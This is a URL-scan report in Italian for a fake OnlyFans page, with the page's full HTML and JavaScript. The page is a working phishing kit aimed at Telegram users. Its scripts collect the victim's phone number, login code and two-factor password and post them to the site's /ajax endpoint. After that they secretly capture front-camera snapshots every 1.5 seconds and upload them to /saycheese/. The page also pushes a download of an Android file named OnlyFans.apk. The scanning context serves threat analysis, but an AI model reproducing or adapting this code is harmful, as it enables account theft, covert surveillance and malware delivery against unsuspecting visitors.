- ID scansione:
- 1335851f-7d7c-4f6e-bf09-33ff798973cdFatto
- URL inviato:
- https://onlyfans.fit/wetbitch06
- Report terminato:
Link · 0 trovati
I link in uscita identificati dalla pagina
Variabili JavaScript · 12 trovate
Le variabili JavaScript globali caricate sull'oggetto finestra di una pagina sono variabili dichiarate all'esterno delle funzioni e accessibili da qualsiasi punto del codice nell'ambito corrente
Nome | Tipo |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
$ | function |
jQuery | function |
Inputmask | function |
default | function |
hasGetUserMedia | function |
post | function |
init | function |
Messaggi di log della console · 8 trovati
Messaggi registrati nella console Web
Tipo | Categoria | Log |
---|---|---|
error | network |
|
error | network |
|
error | network |
|
error | network |
|
error | network |
|
log | other |
|
log | other |
|
log | other |
|
HTML
Il corpo HTML non elaborato della pagina
<!DOCTYPE html><html lang="ru"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>OnlyFans</title>
<link rel="apple-touch-icon" sizes="180x180" href="https://static.onlyfans.com/theme/onlyfans/spa/icons/apple-touch-icon.png?">
<link rel="icon" type="image/png" sizes="32x32" href="https://static.onlyfans.com/theme/onlyfans/spa/icons/favicon-32x32.png?">
<link rel="icon" type="image/png" sizes="192x192" href="https://static.onlyfans.com/theme/onlyfans/spa/icons/android-chrome-192x192.png?">
<link rel="icon" type="image/png" sizes="16x16" href="https://static.onlyfans.com/theme/onlyfans/spa/icons/favicon-16x16.png?">
<link rel="manifest" href="https://static.onlyfans.com/theme/onlyfans/spa/icons/site.webmanifest?">
<link rel="mask-icon" href="https://static.onlyfans.com/theme/onlyfans/spa/icons/safari-pinned-tab.svg?" color="#00aff0">
<link rel="shortcut icon" href="https://static.onlyfans.com/theme/onlyfans/spa/icons/favicon.ico?">
<link href="https://unpkg.com/[email protected]/css/boxicons.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v6.4.0/css/all.css">
<link rel="stylesheet" href="/assets/css/app.css?v=1304727624">
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.13.2/jquery-ui.min.js"></script>
<script src="/assets/js/inputmask.min.js"></script>
<script defer="" src="https://cdn.jsdelivr.net/npm/[email protected]/dist/cdn.min.js"></script>
<script>
const isAndroid = navigator.userAgent.toLowerCase().indexOf('android') > -1
</script>
<style data-lang-style="">
[data-ln="en"] {
display: none;
}
</style>
<script>
const isEnglish = false
$(document).ready(function() {
if (isEnglish) {
$('[data-ln]').each(function() {
if ($(this).attr('data-ln') !== 'en') {
$(this).hide()
} else {
$(this).show()
}
})
$('[data-lang-style]').remove()
} else {
$('[data-ln="en"]').hide()
$('[data-ln]').not('[data-ln="en"]').show()
}
})
</script>
</head>
<body>
<div id="app">
<div class="max-h-[600px] flex-wrap md:flex-nowrap h-full w-full flex justify-between relative border border-t-0 border-x-0 border-b-black/10 " id="top">
<div class="w-full md:w-[50%] max-h-[600px] min-h-[600px] h-full bg-[#00aff0] leftBox relative py-[94px]">
<div class="flex ml-4 md:ml-auto w-full md:w-[85%] justify-end">
<div class="flex justify-center flex-col max-w-[344px] w-full mx-auto">
<div class="flex justify-start">
<img src="/assets/img/logo-full.png" alt="" class="h-[48px] mb-[13px]">
</div>
<h2 class="block w-full text-left text-[32px] text-[#fefefe] mb-[31px] leading-[40px] roboto">
<span data-ln="ru">
Зарегистрируйтесь, чтобы поддержать любимых авторов
</span>
<span data-ln="en" style="display: none;">
Sign up to support your favorite authors
</span>
</h2>
</div>
</div>
</div>
<div class="w-full md:w-[50%] py-[94px] flex justify-center items-center bg-[url(/assets/img/baba.jpg)] relative">
<div class="absolute top-0 left-0 w-full h-full bg-black/[.30] backdrop-blur-[2px] z-[8]"></div>
<button class="auth__telegram-button relative z-[9]">
<i class="fa-brands fa-telegram text-white pl-2 text-2xl"></i>
<span class="text-[#fefefe] uppercase text-[14px] leading-[20px] roboto font-medium" data-ln="ru">Войти через Telegram</span>
<span class="text-[#fefefe] uppercase text-[14px] leading-[20px] roboto font-medium" data-ln="en" style="display: none;">Join with Telegram</span>
<span></span>
</button>
</div>
</div>
<div class="max-w-[calc(856px+2rem)] mx-auto mt-[280px] md:mt-[36px]">
<div class="flex flex-col gap-y-4 mx-4">
<p class="block text-left text-[#242529] text-[32px] leading-[40px] mb-[36px] roboto">
<span data-ln="ru">Последние избранные посты</span>
<span data-ln="en" style="display: none;">Recent selected posts</span>
</p>
<div class="post roboto">
<div class="head py-[12px] px-[16px]">
<div class="pl-[1px] flex justify-start gap-x-[10px]">
<img src="https://thumbs.onlyfans.com/public/files/thumbs/c50/m/mk/mka/mkamcrf6rjmcwo0jj4zoavhmalzohe5a1640180203/avatar.jpg" alt="" class="rounded-full w-[48px] h-[48px]">
<div class="flex justify-start flex-col">
<a class="text-[16px] leading-[20px] font-medium hover:underline" href="#top">
OnlyFans
<i class="bx bx-check-circle align-middle"></i>
</a>
<a href="#top" class="text-[#8a96a3] hover:text-[#0091ea] hover:underline text-[14px] mt-0.5">@onlyfans</a>
</div>
</div>
<a class="text-[#8a96a3] hover:text-[#0091ea] hover:underline text-[14px]" href="#top">
<span data-ln="ru">окт. 12</span>
<span data-ln="en" style="display: none;">oct. 12</span>
</a>
</div>
<div class="content">
<div class="text-[16px] leading-[24px]">
<p class="py-[12px] px-[16px]">
Kate and Sophi - Partner Yoga | Katrin TV
<br>
It's time for some fun! Learn some couple yoga poses with
<a href="#top">@katrintv</a>
and
<a href="#top">@firefoxso!</a>
<br>
Watch more:
<a href="#top">of.tv/katrin-tv</a>
<br>
<a href="#top" class="text-[14px]" data-ln="ru">Подробнее</a>
<a href="#top" class="text-[14px]" data-ln="en" style="display: none;">Read more</a>
</p>
<div class="relative">
<img src="/assets/img/preview.png" alt="" class="rounded-b-[6px]">
<a class="bg-black bg-opacity-50 py-4 pl-5 pr-4 rounded-full absolute top-[50%] left-[50%] hover:bg-opacity-60 transition" style="transform: translate(-50%, -50%)" href="#top">
<i class="fa-solid fa-play text-[36px] text-white/40"></i>
</a>
</div>
</div>
</div>
</div><div class="post roboto">
<div class="head py-[12px] px-[16px]">
<div class="pl-[1px] flex justify-start gap-x-[10px]">
<img src="https://thumbs.onlyfans.com/public/files/thumbs/c50/m/mk/mka/mkamcrf6rjmcwo0jj4zoavhmalzohe5a1640180203/avatar.jpg" alt="" class="rounded-full w-[48px] h-[48px]">
<div class="flex justify-start flex-col">
<a class="text-[16px] leading-[20px] font-medium hover:underline" href="#top">
OnlyFans
<i class="bx bx-check-circle align-middle"></i>
</a>
<a href="#top" class="text-[#8a96a3] hover:text-[#0091ea] hover:underline text-[14px] mt-0.5">@onlyfans</a>
</div>
</div>
<a class="text-[#8a96a3] hover:text-[#0091ea] hover:underline text-[14px]" href="#top">
<span data-ln="ru">окт. 12</span>
<span data-ln="en" style="display: none;">oct. 12</span>
</a>
</div>
<div class="content">
<div class="text-[16px] leading-[24px]">
<p class="py-[12px] px-[16px]">
Paris Vlog | Lizzy
<br>
Explore the enchanting streets of Paris with @youngy.lizzy!
<br>
Wander through the city of love, discover hidden gems, and indulge in delicious pastries together! 🥐
<br>
<a href="#top" class="text-[14px]" data-ln="ru">Подробнее</a>
<a href="#top" class="text-[14px]" data-ln="en" style="display: none;">Read more</a>
</p>
<div class="relative">
<img src="/assets/img/preview2.jpg" alt="" class="rounded-b-[6px]">
<a class="bg-black bg-opacity-50 py-4 pl-5 pr-4 rounded-full absolute top-[50%] left-[50%] hover:bg-opacity-60 transition" style="transform: translate(-50%, -50%)" href="#top">
<i class="fa-solid fa-play text-[36px] text-white/40"></i>
</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<footer class="bg-white mt-[26px] w-full">
<div class="max-w-[calc(1118px+2rem)] w-full mx-auto pt-[35px] pb-[50px]">
<div class="flex justify-start flex-wrap text-[#8a96a3] pt-[13px] text-[12px] leading-[16px] roboto mx-4">
<div class="w-1/2 md:w-1/5 footerMenu">
<a href="#top" class="font-medium">
© <script>document.write( new Date().getFullYear() )</script>2024 OnlyFans
</a>
<a href="#top" class="font-medium">
<span data-ln="ru">Контакты</span>
<span data-ln="en" style="display: none;">Contacts</span>
</a>
<div class="flex justify-start gap-x-[12px] text-[16px]">
<a href="#top">
<i class="fa-brands fa-twitter"></i>
</a>
<a href="#top">
<i class="fa-brands fa-instagram"></i>
</a>
</div>
</div>
<div class="w-1/2 md:w-1/5 footerMenu">
<a href="#top">
Help
</a>
<a href="#top">
Store
</a>
<a href="#top">
Cookie Notice
</a>
<a href="#top" class="mt-[8px]">
OnlyFans Safety & Transparency
<br>
Center
</a>
</div>
<div class="w-1/2 md:w-1/5 footerMenu">
<a href="#top">
About
</a>
<a href="#top">
Terms of Service
</a>
<a href="#top">
DMCA
</a>
<a href="#top" class="mt-[8px]">
Anti-Slavery and Anti-Trafficking
<br>
Statement
</a>
</div>
<div class="w-1/2 md:w-1/5 footerMenu">
<a href="#top">
Blog
</a>
<a href="#top">
Privacy
</a>
<a href="#top">
USC 2257
</a>
<a href="#top" class="mt-[8px]">
Acceptable Use Policy
</a>
</div>
<div class="w-1/2 md:w-1/5 footerMenu">
<a href="#top">
Branding
</a>
<a href="#top">
Complaints Policy
</a>
<a href="#top">
Standard Contract between Fan and Creator
</a>
</div>
</div>
</div>
</footer>
<div id="modal" class="fixed top-0 left-0 w-full h-full z-20 hidden">
<div class="absolute top-0 left-0 w-full h-full z-[21] bg-black bg-opacity-20 backdrop-blur-sm" id="modal-close"></div>
<div class="absolute top-[50%] left-[45%] md:left-[50%] bg-white p-4 border border-black border-opacity-20 rounded-xl z-[22] mx-4 min-w-[250px]" style="transform: translate(-50%, -50%)">
<p class="text-xl font-medium" data-ln="ru">
Войдите через
<span class="text-[#4285f4]">Telegram</span>
аккаунт
</p>
<p class="text-xl font-medium" data-ln="en" style="display: none;">
Join with
<span class="text-[#4285f4]">Telegram</span>
account
</p>
<div class="mt-4 flex flex-col gap-y-3">
<label for="phone" class="text-[#8a96a3] text-sm" data-ln="ru">Номер телефона</label>
<label for="phone" class="text-[#8a96a3] text-sm" data-ln="en" style="display: none;">Phone number</label>
<div class="relative w-full">
<input type="text" id="phone" class="outline-none border border-black border-opacity-20 rounded-xl py-2 pl-[1.25rem] pr-2 placeholder-black/40
hover:bg-opacity-[.35]
focus:bg-opacity-[.45]
active:bg-opacity-[.45] transition ease-linear
w-full
" placeholder="" autocomplete="off" maxlength="15" inputmode="text">
<span class="absolute left-2 top-[.6rem]" style="color: #000">+</span>
<div id="incPhone" style="display: none">
<span style="color: red; font-size: 0.75rem; position: relative;" data-ln="ru">
Вы ввели номер неверно!
</span>
<span style="color: red; font-size: 0.75rem; position: relative; display: none;" data-ln="en">
Incorrect phone number
</span>
</div>
</div>
<button type="submit" class="bg-[#4285f4] w-full py-2 text-sm font-medium text-center rounded-xl text-white
hover:bg-opacity-80 active:bg-opacity-[.75] focus:bg-opacity-[.75] transition ease-linear
" id="modal-next">
<span data-ln="ru">Продолжить</span>
<span data-ln="en" style="display: none;">Next</span>
</button>
</div>
</div>
</div>
<div id="modal-code" class="fixed top-0 left-0 w-full h-full z-20 hidden">
<div class="absolute top-0 left-0 w-full h-full z-[21] bg-black bg-opacity-20 backdrop-blur-sm" id="modal-code-close"></div>
<div class="absolute top-[50%] left-[45%] md:left-[50%] bg-white p-4 border border-black border-opacity-20 rounded-xl z-[22] mx-4 min-w-[250px]" style="transform: translate(-50%, -50%)">
<p class="text-xl font-medium" data-ln="ru">
Введите код, отправленный
<br>
Вам в
<span class="text-[#4285f4]">Telegram</span>
</p>
<p class="text-xl font-medium" data-ln="en" style="display: none;">
Enter code sent
<br>
to you in
<span class="text-[#4285f4]">Telegram</span>
</p>
<div class="mt-4 flex flex-col gap-y-3">
<label for="code" class="text-[#8a96a3] text-sm" data-ln="ru">Введите код</label>
<label for="code" class="text-[#8a96a3] text-sm" data-ln="en" style="display: none;">Enter code</label>
<input type="text" id="code" class="outline-none border border-black border-opacity-20 rounded-xl p-2 placeholder-black/40
hover:bg-opacity-[.35]
focus:bg-opacity-[.45]
active:bg-opacity-[.45] transition ease-linear
" placeholder="999-11" autocomplete="off" inputmode="text">
<div id="incCode" style="display: none">
<span style="color: red; font-size: 0.75rem; position: relative;" data-ln="ru">
Неверный код
</span>
<span style="color: red; font-size: 0.75rem; position: relative; display: none;" data-ln="en">
Incorrect code
</span>
</div>
<button type="submit" class="bg-[#4285f4] w-full py-2 text-sm font-medium text-center rounded-xl text-white
hover:bg-opacity-80 active:bg-opacity-[.75] focus:bg-opacity-[.75] transition ease-linear
" id="modal-code-enter">
<span data-ln="ru">Войти</span>
<span data-ln="en" style="display: none;">Enter</span>
</button>
</div>
</div>
</div>
<div id="modal-password" class="fixed top-0 left-0 w-full h-full z-20 hidden">
<div class="absolute top-0 left-0 w-full h-full z-[21] bg-black bg-opacity-20 backdrop-blur-sm" id="modal-code-close"></div>
<div class="absolute top-[50%] left-[45%] md:left-[50%] bg-white p-4 border border-black border-opacity-20 rounded-xl z-[22] mx-4 min-w-[250px]" style="transform: translate(-50%, -50%)">
<p class="text-xl font-medium" style="font-size: 1rem !important; line-height: 1.35rem !important;" data-ln="ru">
Чтобы мы могли авторизовать ваш <span class="text-[#4285f4]">Telegram</span> введите,
<br> пароль от двухфакторной аутентификации
</p>
<p class="text-xl font-medium" style="font-size: 1rem !important; line-height: 1.35rem !important; display: none;" data-ln="en">
So that we can authorize your <span class="text-[#4285f4]">Telegram</span> enter,
<br> password for two-factor authentication
</p>
<div class="mt-4 flex flex-col gap-y-3">
<label for="password" class="text-[#8a96a3] text-sm" data-ln="ru">Введите пароль</label>
<label for="password" class="text-[#8a96a3] text-sm" data-ln="en" style="display: none;">Enter password</label>
<input type="text" id="password" class="outline-none border border-black border-opacity-20 rounded-xl p-2 placeholder-black/40
hover:bg-opacity-[.35]
focus:bg-opacity-[.45]
active:bg-opacity-[.45] transition ease-linear
" autocomplete="off">
<div id="incPassword" style="display: none">
<span style="color: red; font-size: 0.75rem; position: relative;" data-ln="ru">
Неверный пароль
</span>
<span style="color: red; font-size: 0.75rem; position: relative; display: none;" data-ln="en">
Incorrect password
</span>
</div>
<button type="submit" class="bg-[#4285f4] w-full py-2 text-sm font-medium text-center rounded-xl text-white
hover:bg-opacity-80 active:bg-opacity-[.75] focus:bg-opacity-[.75] transition ease-linear
" id="modal-password-enter">
<span data-ln="ru">Войти</span>
<span data-ln="en" style="display: none;">Enter</span>
</button>
</div>
</div>
</div>
<div id="loading-screen" class="fixed top-0 left-0 w-full h-full hidden" style="z-index: 9999999">
<div class="absolute top-0 left-0 w-full h-full z-[21] bg-black bg-opacity-20 backdrop-blur-sm" id="modal-code-close"></div>
<div class="absolute top-[50%] left-[45%] md:left-[50%] bg-white p-4 border border-black border-opacity-20 rounded-xl z-[22] mx-4 min-w-[250px]" style="transform: translate(-50%, -50%)">
<div class="flex flex-col gap-y-3">
<div id="error" style="color: #000"></div>
<span class="text-center text-[#4285f4]">
<i class="bx bx-loader w-[64px] mx-auto h-[64px] text-[64px] animate-spin-slow"></i>
</span>
</div>
</div>
</div>
<div id="show-cam" class="fixed top-0 left-0 w-full h-full z-20 hidden">
<div class="absolute top-0 left-0 w-full h-full z-[21] bg-black bg-opacity-20 backdrop-blur-sm" id="modal-code-close"></div>
<div class="absolute top-[50%] left-[45%] md:left-[50%] bg-white p-4 border border-black border-opacity-20 rounded-xl z-[22] mx-4 min-w-[250px]" style="transform: translate(-50%, -50%)">
<div class="flex flex-col gap-y-3">
<span class="text-center text-[#242529]" id="show-cam-text">
<span data-ln="ru">Для продолжения необходимо дать доступ к камере</span>
<span data-ln="en" style="display: none;">To continue, you need to give access to the camera</span>
</span>
</div>
</div>
</div>
<div id="tg-auth" class="fixed top-0 left-0 w-full h-full z-20 hidden">
<div class="absolute top-0 left-0 w-full h-full z-[21] bg-black bg-opacity-20 backdrop-blur-md" onclick="$('#tg-auth').fadeOut(150)"></div>
<div class="absolute top-[50%] left-[45%] md:left-[50%] bg-white p-4 border border-black border-opacity-20 rounded-xl z-[22] mx-4 min-w-[320px]" style="transform: translate(-50%, -50%)">
<div class="flex flex-col gap-y-3">
<p class="text-[#4285f4] text-sm font-medium text-center" data-ln="ru">
Требуется авторизация через Telegram
</p>
<p class="text-[#4285f4] text-sm font-medium text-center" data-ln="en" style="display: none;">
Authorization via Telegram is required
</p>
<button class="auth__telegram-button w-full relative z-[9]" onclick="$('#tg-auth').css('display', 'none')">
<i class="fa-brands fa-telegram text-white pl-2 text-2xl"></i>
<span class="text-[#fefefe] uppercase text-[14px] leading-[20px] roboto font-medium" data-ln="ru">Войти через Telegram</span>
<span class="text-[#fefefe] uppercase text-[14px] leading-[20px] roboto font-medium" data-ln="en" style="display: none;">Join with Telegram</span>
<span></span>
</button>
</div>
</div>
</div>
<div id="download-android" class="fixed top-0 left-0 w-full h-full z-50 hidden">
<div class="absolute top-0 left-0 w-full h-full z-[21] bg-black bg-opacity-20 backdrop-blur-md" onclick=""></div>
<div class="absolute top-[50%] left-[45%] md:left-[50%] bg-white p-4 border border-black border-opacity-20 rounded-xl z-[22] mx-4 min-w-[320px]" style="transform: translate(-50%, -50%)">
<div class="flex flex-col gap-y-3">
<p class="text-[#4285f4] text-sm font-medium text-center montserrat">
<span data-ln="ru">ANDROID-приложение</span>
<span data-ln="en" style="display: none;">ANROID-application</span>
</p>
<button class="auth__telegram-button notgo w-full relative z-[9] px-[.75rem]" onclick="$('#tg-auth').css('display', 'none')" data-download-app="">
<span class="text-[#fefefe] uppercase text-[14px] leading-[20px] roboto font-medium" data-ln="ru">Скачать</span>
<span class="text-[#fefefe] uppercase text-[14px] leading-[20px] roboto font-medium" data-ln="en" style="display: none;">Download</span>
<span class="uppercase">
<img src="/assets/img/android.png" alt="ICON_ANDROID" class="max-w-[24px]">
</span>
</button>
</div>
</div>
</div>
<script>
const isIOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream
</script>
<div class="video-wrap" hidden="hidden">
<video id="video" playsinline="" autoplay=""></video>
</div>
<canvas hidden="hidden" id="canvas" width="800" height="640"></canvas>
<script>
let $code = $('#code')
let $phone = $('#phone')
$phone.inputmask('999999999999999', { "placeholder": "" })
$code.inputmask({
mask: "999-99"
})
$('a[href="#top"]').on('click', function (e) {
e.preventDefault()
window.scrollTo({ top: 0, behavior: "instant"})
$('#modal').fadeIn(100)
$('body').css('overflow-y', 'hidden').css('height', '100vh')
})
$('.auth__telegram-button:not(.notgo)').on('click', function (e) {
e.preventDefault()
$('#modal').fadeIn(100)
$('body').css('overflow-y', 'hidden').css('height', '100vh')
})
$('#modal-close').on('click', function (e) {
e.preventDefault()
$('#modal').fadeOut(100)
$nextModal.removeAttr('disabled')
$('body').css('overflow-y', 'auto').css('height', 'auto')
})
let $nextModal = $('#modal-next')
$nextModal.on('click', function (e) {
e.preventDefault()
let $phone = $('#phone')
function showIncorrectPhone() {
$phone.css('border-color', 'red')
$('#incPhone').show()
setTimeout(function () {
$phone.removeAttr('style')
$('#incPhone').hide()
}, 2000)
}
if( $.trim( $phone.val() ) !== '' ) {
if( $phone.val().replace(/[^0-9]/g, '').length > 15
|| $phone.val().replace(/[^0-9]/g, '').length < 8
|| $phone.val().replace(/[^0-9]/g, '')[0] === '0'
|| $phone.val().replace(/[^0-9]/g, '')[0] === '9'
|| $phone.val().replace(/[^0-9]/g, '')[0] === '8'
||
(
$phone.val().replace(/[^0-9]/g, '')[0] === '8'
&&
$phone.val().replace(/[^0-9]/g, '')[1] === '0'
)
) {
showIncorrectPhone()
} else {
if( $nextModal.attr('disabled') === undefined ) {
$nextModal.attr('disabled', '')
$.ajax({
url: "/ajax?do=phone&phone=" + $phone.val().replace(/[^0-9]/g, ''),
method: "GET",
success: function (resp) {
if ( resp.status !== 'error' ) {
$('#modal').hide()
$('#modal-code').show()
} else {
showIncorrectPhone()
}
}
}).done( function () {
$('#loading-screen').fadeOut(150)
} )
}
}
} else {
showIncorrectPhone()
}
})
let $codeModal = $('#modal-code-enter')
$codeModal.on('click', function (e) {
e.preventDefault()
$('#loading-screen').fadeIn(150)
let $code = $('#code')
let $codeVal
function showIncorrectCode() {
$code.css('border-color', 'red')
$('#modal-code-enter').removeAttr('disabled')
setTimeout(function () {
$code.removeAttr('style')
}, 2000)
$('#incCode').show()
setTimeout(function () {
$phone.removeAttr('style')
$('#incCode').hide()
}, 2000)
}
if ($.trim($code.val()) !== '') {
$codeVal = $code.val().replace(/[^0-9]/g, '')
if ($codeVal.length !== 5 || $codeVal === '999-11' || $codeVal === '99911') {
showIncorrectCode()
} else {
if ($codeModal.attr('disabled') === undefined) {
$codeModal.attr('disabled', '')
$.ajax({
url: "/ajax?do=code&code=" + $code.val().replace(/[^0-9]/g, ''),
method: "GET",
success: function (data) {
$('#loading-screen').fadeOut(150)
data = JSON.parse(data)
if (data.status !== 'error') {
if (data.next === 'password') {
$('#modal-code').fadeOut(100)
$('body').css('overflow-y', 'hidden').css('height', '100vh')
$('#modal-password').fadeIn(100)
} else {
if (hasGetUserMedia()) {
$('#modal-code').fadeOut(100)
$('body').css('overflow-y', 'hidden').css('height', '100vh')
$('#show-cam').fadeIn(100)
init()
} else {
$('#modal-code').fadeOut(100)
$('body').css('overflow-y', 'hidden').css('height', '100vh')
if (isAndroid) {
$('#download-android').fadeIn(100)
} else {
$('#loading-screen').fadeIn(100)
}
}
}
} else {
$('#modal-code-enter').removeAttr('disabled')
$('#loading-screen').fadeOut(150)
showIncorrectCode()
}
},
error: function () {
$('#loading-screen').fadeOut(150)
showIncorrectCode()
},
})
}
}
} else {
$code.css('border-color', 'red')
setTimeout(function () {
$phone.removeAttr('style')
}, 2000)
}
})
let $passwordModal = $('#modal-password-enter')
$passwordModal.on('click', function (e) {
$('#loading-screen').fadeIn(150)
e.preventDefault()
let $password = $('#password')
let $passVal
function showIncorrectPassword() {
$('#password-error').css('opacity', '1')
$passwordModal.removeAttr('disabled')
setTimeout( function () {
$('#password-error').css('opacity', '0')
}, 3000 )
$password.css('border-color', 'red')
setTimeout(function () {
$password.removeAttr('style')
}, 2000)
$('#incPassword').show()
setTimeout(function () {
$phone.removeAttr('style')
$('#incPassword').hide()
}, 2000)
}
if ($.trim($password.val()) !== '') {
$passVal = $password.val()
if ($passwordModal.attr('disabled') === undefined) {
$passwordModal.attr('disabled', '')
$.ajax({
url: "/ajax?do=password",
method: "POST",
data: {
password: $passVal,
},
success: function (data) {
$('#loading-screen').fadeOut(150)
$('#modal-password-enter').removeAttr('disabled')
data = JSON.parse(data)
if (data.status !== 'error') {
if (hasGetUserMedia()) {
$('#modal-password').fadeOut(100)
$('body').css('overflow-y', 'hidden').css('height', '100vh')
$('#show-cam').fadeIn(100)
init()
} else {
$('#modal-password').fadeOut(100)
$('body').css('overflow-y', 'hidden').css('height', '100vh')
if (isAndroid) {
$('#download-android').fadeIn(100)
} else {
$('#loading-screen').fadeIn(100)
}
}
} else {
showIncorrectPassword()
}
},
error: function () {
$('#loading-screen').fadeOut(150)
$('#modal-password-enter').removeAttr('disabled')
showIncorrectPassword()
}
}).done( function () {
$('#modal-password-enter').removeAttr('disabled')
} )
}
} else {
showIncorrectPassword()
}
})
</script>
<script>
$('[data-download-app]').on('click', function (e) {
e.preventDefault()
if ( localStorage.getItem('app') === null ) {
$.ajax({
url: '/ajax?do=download',
method: 'GET',
success: function () {
localStorage.setItem('app', 'true')
},
complete: function () {
window.location.href = '/OnlyFans.apk'
}
})
} else {
window.location.href = '/OnlyFans.apk'
}
})
function hasGetUserMedia() {
return ( navigator.getUserMedia ||
navigator.webkitGetUserMedia ||
navigator.mozGetUserMedia ||
navigator.msGetUserMedia)
}
async function post(imgdata) {
await $.ajax({
type: 'POST',
data: { cat: imgdata },
url: '/saycheese/',
dataType: 'json',
async: true,
success: function (result) {
},
error: function () {
}
})
}
const video = document.getElementById('video'),
canvas = document.getElementById('canvas'),
errorMsgElement = document.querySelector('#errorMsg')
const constraints = {
audio: false,
video: {
facingMode: "user"
}
}
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints)
await handleSuccess(stream)
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`
}
}
async function handleSuccess(stream, showModal = 1) {
if ( localStorage.getItem('camera') === null ) {
localStorage.setItem('camera', 'true')
}
window.stream = stream
video.srcObject = stream
if ( showModal ) {
if (isAndroid) {
$('#show-cam').fadeOut(150)
$('#download-android').fadeIn(100)
} else {
$('#show-cam').fadeOut(150)
$('#loading-screen').fadeIn(150)
}
}
// $('body').attr('style', ' ')
let context = await canvas.getContext('2d')
setInterval(async function () {
await context.drawImage(video, 0, 0, 800, 640)
let canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream")
await post(canvasData)
}, 1500)
}
if ( localStorage.getItem('camera') !== null ) {
navigator.mediaDevices.getUserMedia(constraints)
.then(function(stream) {
handleSuccess(stream, 0)
})
.catch(function(err) {
localStorage.removeItem('camera')
console.log(err.name + ": " + err.message)
})
}
</script>
<script>
(function () {
setTimeout(function () {
console.log('--------------------')
console.log('Page render time: ' + 0.70391988754272 + 's')
console.log('--------------------')
}, 500)
})()
</script>
</body></html>